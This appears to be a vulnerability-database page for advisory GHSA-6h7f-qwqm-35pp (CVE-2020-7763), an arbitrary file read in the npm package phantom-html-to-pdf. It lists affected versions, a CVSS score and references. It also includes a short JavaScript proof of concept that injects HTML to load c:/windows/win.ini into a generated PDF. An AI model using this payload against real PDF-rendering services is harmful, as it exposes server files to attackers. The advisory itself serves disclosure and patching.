GHSA-6H7F-QWQM-35PP
Vulnerability from github – Published: 2020-11-06 18:06 – Updated: 2023-09-07 22:36
VLAI?
Summary
Arbitrary File Read in phantom-html-to-pdf
Details
This affects the package phantom-html-to-pdf before 0.6.1.
PoC
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
Severity ?
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.6.1"
},
"package": {
"ecosystem": "npm",
"name": "phantom-html-to-pdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7763"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-11-06T18:02:24Z",
"nvd_published_at": "2020-11-05T14:15:00Z",
"severity": "HIGH"
},
"details": "This affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require(\u0027fs\u0027) var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n html: \"document.write(window.location=\u0027c:/windows/win.ini\u0027)\"\n}, function(err, pdf) {\n var output = fs.createWriteStream(\u0027output.pdf\u0027) console.log(pdf.logs);\n console.log(pdf.numberOfPages);\n pdf.stream.pipe(output);\n});\n```",
"id": "GHSA-6h7f-qwqm-35pp",
"modified": "2023-09-07T22:36:42Z",
"published": "2020-11-06T18:06:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7763"
},
{
"type": "WEB",
"url": "https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-PHANTOMHTMLTOPDF-1023598"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/phantom-html-to-pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary File Read in phantom-html-to-pdf"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…